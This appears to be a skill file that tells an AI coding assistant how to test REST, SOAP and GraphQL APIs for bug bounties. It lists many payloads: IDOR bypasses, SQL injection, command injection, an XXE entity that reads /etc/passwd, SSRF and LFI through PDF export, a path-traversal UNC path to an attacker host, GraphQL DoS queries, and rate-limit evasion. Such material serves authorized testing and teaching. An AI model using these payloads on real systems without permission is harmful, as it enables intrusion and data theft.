This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
npxskills add zebbern/claude-code-guide--skill "API Fuzzing for Bug Bounty"Loading…
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
| Type | Protocol | Data Format | Structure |
|---|---|---|---|
| SOAP | HTTP | XML | Header + Body |
| REST | HTTP | JSON/XML/URL | Defined endpoints |
| GraphQL | HTTP |
| Custom Query |
| Single endpoint |
Identify API type and enumerate endpoints:
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controls
Insecure Direct Object Reference is the most common API vulnerability:
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]
# Test /me/orders vs /user/654321/orders
IDOR Bypass Techniques:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
SQL Injection in JSON:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
Command Injection:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
XXE Injection:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
SSRF via API:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
.NET Path.Combine Vulnerability:
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
Fetch entire backend schema:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
URL-encoded version:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
| Tool | Purpose |
|---|---|
| GraphCrawler | Schema discovery |
| graphw00f | Fingerprinting |
| clairvoyance | Schema reconstruction |
| InQL | Burp extension |
| GraphQLmap | Exploitation |
When receiving 403/401, try these bypasses:
# Original blocked request
/api/v1/users/sensitivedata → 403
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999
| Vulnerability | Description |
|---|---|
| API Exposure | Unprotected endpoints exposed publicly |
| Misconfigured Caching | Sensitive data cached incorrectly |
| Exposed Tokens | API keys/tokens in responses or URLs |
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
| IDOR / BOLA | Broken Object Level Authorization |
| Undocumented Endpoints | Hidden admin/debug endpoints |
| Different Versions | Security gaps in older API versions |
| Rate Limiting | Missing or bypassable rate limits |
| Race Conditions | TOCTOU vulnerabilities |
| XXE Injection | XML parser exploitation |
| Content Type Issues | Switching between JSON/XML |
| HTTP Method Tampering | GET→DELETE/PUT abuse |
| Vulnerability | Test Payload | Risk |
|---|---|---|
| IDOR | Change user_id parameter | High |
| SQLi | ' OR 1=1-- in JSON | Critical |
| Command Injection | ; ls / | Critical |
| XXE | DOCTYPE with ENTITY | High |
| SSRF | Internal IP in params | High |
| Rate Limit Bypass | Batch requests | Medium |
| Method Tampering | GET→DELETE | High |
| Category | Tool | URL |
|---|---|---|
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
| API Security | apicheck | github.com/BBVA/apicheck |
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API Toolkit | APIKit | github.com/API-Security/APIKit |
| API Keys | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
Must:
Must Not:
Should:
X-Requested-With: XMLHttpRequest header to simulate frontend# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# Response reveals other user's invoice data
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
| Issue | Solution |
|---|---|
| API returns nothing | Add X-Requested-With: XMLHttpRequest header |
| 401 on all endpoints | Try adding ?user_id=1 parameter |
| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
| Rate limited | Use IP rotation or batch requests |
| Can't find endpoints | Check Swagger, archive.org, JS files |
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